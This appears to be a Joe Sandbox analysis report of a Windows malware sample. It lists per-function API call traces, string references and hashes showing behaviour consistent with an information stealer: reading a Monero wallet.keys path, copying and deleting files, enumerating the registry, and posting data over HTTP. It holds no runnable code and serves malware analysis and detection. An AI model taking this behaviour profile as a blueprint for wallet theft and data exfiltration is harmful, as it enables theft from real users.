Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 7ee6289e2c5c8a054848aea27e066c460cf29e92847c0b73b1e9bf66805e7053
Instruction ID: 86273d834d266d9aac0a6b61c8575b4a02a069ddfc39f4b6e049eac08514fd2b
Opcode Fuzzy Hash: 7ee6289e2c5c8a054848aea27e066c460cf29e92847c0b73b1e9bf66805e7053
Instruction Fuzzy Hash: 4032ECB292011CAADB18EBA0DC95FFEB3B8BF54700F445179B20A76091DF706A49CF55

Function 00EEA790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFAA70: StrCmpCA.SHLWAPI(01758870,00EEA7A7,?,00EEA7A7,01758870), ref: 00EFAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EEAAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00EEAACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00EEABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EEA8B0

Part of subcall function 00EFA820: lstrlen.KERNEL32(00EE4F05,?,?,00EE4F05,00F00DDE), ref: 00EFA82B
Part of subcall function 00EFA820: lstrcpy.KERNEL32(00F00DDE,00000000), ref: 00EFA885

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

lstrcat.KERNEL32(?,00000000), ref: 00EEACEB
lstrcat.KERNEL32(?,00F01320), ref: 00EEACFA
lstrcat.KERNEL32(?,00000000), ref: 00EEAD0D
lstrcat.KERNEL32(?,00F01324), ref: 00EEAD1C
lstrcat.KERNEL32(?,00000000), ref: 00EEAD2F
lstrcat.KERNEL32(?,00F01328), ref: 00EEAD3E
lstrcat.KERNEL32(?,00000000), ref: 00EEAD51
lstrcat.KERNEL32(?,00F0132C), ref: 00EEAD60
lstrcat.KERNEL32(?,00000000), ref: 00EEAD73
lstrcat.KERNEL32(?,00F01330), ref: 00EEAD82
lstrcat.KERNEL32(?,00000000), ref: 00EEAD95
lstrcat.KERNEL32(?,00F01334), ref: 00EEADA4
lstrcat.KERNEL32(?,00000000), ref: 00EEADB7
lstrlen.KERNEL32(?), ref: 00EEAE0D
lstrlen.KERNEL32(?), ref: 00EEAE1C

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

DeleteFileA.KERNEL32(00000000), ref: 00EEAE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00EEABD4

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: 7b3987895161800f1c3e9b43336159ed380d84c0998a71909e4cc67a4574929a
Instruction ID: 6510e7680b11fe98ba6f00ca7d17f24932e86cdd0af0c3da93d672e1e393ed2e
Opcode Fuzzy Hash: 7b3987895161800f1c3e9b43336159ed380d84c0998a71909e4cc67a4574929a
Instruction Fuzzy Hash: 6D1230B181014CABCB18EFA0DD56DFE73B8AF54301F545078F60ABA095DF70AA59CB62

Function 00EE5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
Part of subcall function 00EE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EE59F8
StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0175E470,00000000,?,01759E48,00000000,?,00F01A1C), ref: 00EE5E71
lstrlen.KERNEL32(00000000), ref: 00EE5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00EE5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00EE5E9A
lstrlen.KERNEL32(00000000), ref: 00EE5EAF
lstrlen.KERNEL32(00000000), ref: 00EE5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EE5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00EE5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EE5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00EE5F4C
InternetCloseHandle.WININET(00000000), ref: 00EE5FB0
InternetCloseHandle.WININET(00000000), ref: 00EE5FBD
HttpOpenRequestA.WININET(00000000,0175E4C0,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE5BF8

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

InternetCloseHandle.WININET(00000000), ref: 00EE5FC7

Strings

------, xrefs: 00EE5D4C
------, xrefs: 00EE5A96
", xrefs: 00EE5E16
", xrefs: 00EE5CD5
------, xrefs: 00EE5C0B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 9796821604475b6896173bbbf5f61b80a6d6842ca12cea0613ab4a9779f7f433
Instruction ID: ada6822592775a4f6691652517e83da782af4f4afe252d0088c9d547c9a64a70
Opcode Fuzzy Hash: 9796821604475b6896173bbbf5f61b80a6d6842ca12cea0613ab4a9779f7f433
Instruction Fuzzy Hash: 61121FB282011CAACB19EBA0DC95FEE73B8BF54700F445179F20A76091DF706A49CF65

Function 00EECEF0 Relevance: 30.4, APIs: 20, Instructions: 375
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EF8B60: GetSystemTime.KERNEL32(00F00E1A,01759C68,00F005AE,?,?,00EE13F9,?,0000001A,00F00E1A,00000000,?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EF8B86

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00EECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00EED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00EED0CE
lstrcat.KERNEL32(?,00000000), ref: 00EED208
lstrcat.KERNEL32(?,00F01478), ref: 00EED217
lstrcat.KERNEL32(?,00000000), ref: 00EED22A
lstrcat.KERNEL32(?,00F0147C), ref: 00EED239
lstrcat.KERNEL32(?,00000000), ref: 00EED24C
lstrcat.KERNEL32(?,00F01480), ref: 00EED25B
lstrcat.KERNEL32(?,00000000), ref: 00EED26E
lstrcat.KERNEL32(?,00F01484), ref: 00EED27D
lstrcat.KERNEL32(?,00000000), ref: 00EED290
lstrcat.KERNEL32(?,00F01488), ref: 00EED29F
lstrcat.KERNEL32(?,00000000), ref: 00EED2B2
lstrcat.KERNEL32(?,00F0148C), ref: 00EED2C1
lstrcat.KERNEL32(?,00000000), ref: 00EED2D4
lstrcat.KERNEL32(?,00F01490), ref: 00EED2E3

Part of subcall function 00EFA820: lstrlen.KERNEL32(00EE4F05,?,?,00EE4F05,00F00DDE), ref: 00EFA82B
Part of subcall function 00EFA820: lstrcpy.KERNEL32(00F00DDE,00000000), ref: 00EFA885

lstrlen.KERNEL32(?), ref: 00EED32A
lstrlen.KERNEL32(?), ref: 00EED339

Part of subcall function 00EFAA70: StrCmpCA.SHLWAPI(01758870,00EEA7A7,?,00EEA7A7,01758870), ref: 00EFAA8F

DeleteFileA.KERNEL32(00000000), ref: 00EED3B4

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: ec4097af4601689770fdd4cf4bd4f775088de2e082acd73666983c3553eb9ab9
Instruction ID: 82720a7d4585698cb4ccae0e6cff09deecf62c43b7c6b4c3276be17c5fb7fddf
Opcode Fuzzy Hash: ec4097af4601689770fdd4cf4bd4f775088de2e082acd73666983c3553eb9ab9
Instruction Fuzzy Hash: 1AE154B1800108ABCB18EFA0DD95EFE73B8BF54301F145078F60AB7095DE75AA59CB62

Function 00EE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Part of subcall function 00EE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EE4839
Part of subcall function 00EE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EE4849

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EE4915
StrCmpCA.SHLWAPI(?,0175E560), ref: 00EE493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EE4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00F00DDB,00000000,?,?,00000000,?,",00000000,?,0175E570), ref: 00EE4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EE4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EE4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EE4E49
InternetCloseHandle.WININET(00000000), ref: 00EE4EAD
InternetCloseHandle.WININET(00000000), ref: 00EE4EC5
HttpOpenRequestA.WININET(00000000,0175E4C0,?,0175D838,00000000,00000000,00400100,00000000), ref: 00EE4B15

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

Part of subcall function 00EFA920: lstrcpy.KERNEL32(00000000,?), ref: 00EFA972
Part of subcall function 00EFA920: lstrcat.KERNEL32(00000000), ref: 00EFA982

InternetCloseHandle.WININET(00000000), ref: 00EE4ECF

Strings

------, xrefs: 00EE49BD
------, xrefs: 00EE4B28
", xrefs: 00EE4D33
", xrefs: 00EE4BF2
------, xrefs: 00EE4C69

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 9e9cedffe0749d88c41d7bf4d4ea16b2a76e5fe2dd5e041a5efc2c21ee8e8d4a
Instruction ID: 731a8ef0c5b03ae4ce9d24ff8932ce2a6477f8f801f2d2bfd6bffc5a49b13654
Opcode Fuzzy Hash: 9e9cedffe0749d88c41d7bf4d4ea16b2a76e5fe2dd5e041a5efc2c21ee8e8d4a
Instruction Fuzzy Hash: 08122EB291015CAADB18EB50DC56FEEB3B8AF54300F5451B9B20A76091DFB02F49CF62

Function 00EF8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

RegOpenKeyExA.KERNEL32(00000000,0175A9E0,00000000,00020019,00000000,00F005B6), ref: 00EF83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00EF8426
wsprintfA.USER32 ref: 00EF8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00EF847B
RegCloseKey.ADVAPI32(00000000), ref: 00EF848C
RegCloseKey.ADVAPI32(00000000), ref: 00EF8499

Part of subcall function 00EFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EFA7E6

Strings

- , xrefs: 00EF85A3
?, xrefs: 00EF837A
%s\%s, xrefs: 00EF844D

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 081051af444ff4dc93df982202f429ebe61a7da2faaadef809c55a0a4cc084a0
Instruction ID: dcbe1e534cbb92462afadaeecba547be107d966e5f041ebf3108b31d3aff6036
Opcode Fuzzy Hash: 081051af444ff4dc93df982202f429ebe61a7da2faaadef809c55a0a4cc084a0
Instruction Fuzzy Hash: E7810CB191011CABDB28DF54DD95FEAB7B8FF48700F0086A9E209A6180DF716B85CF94

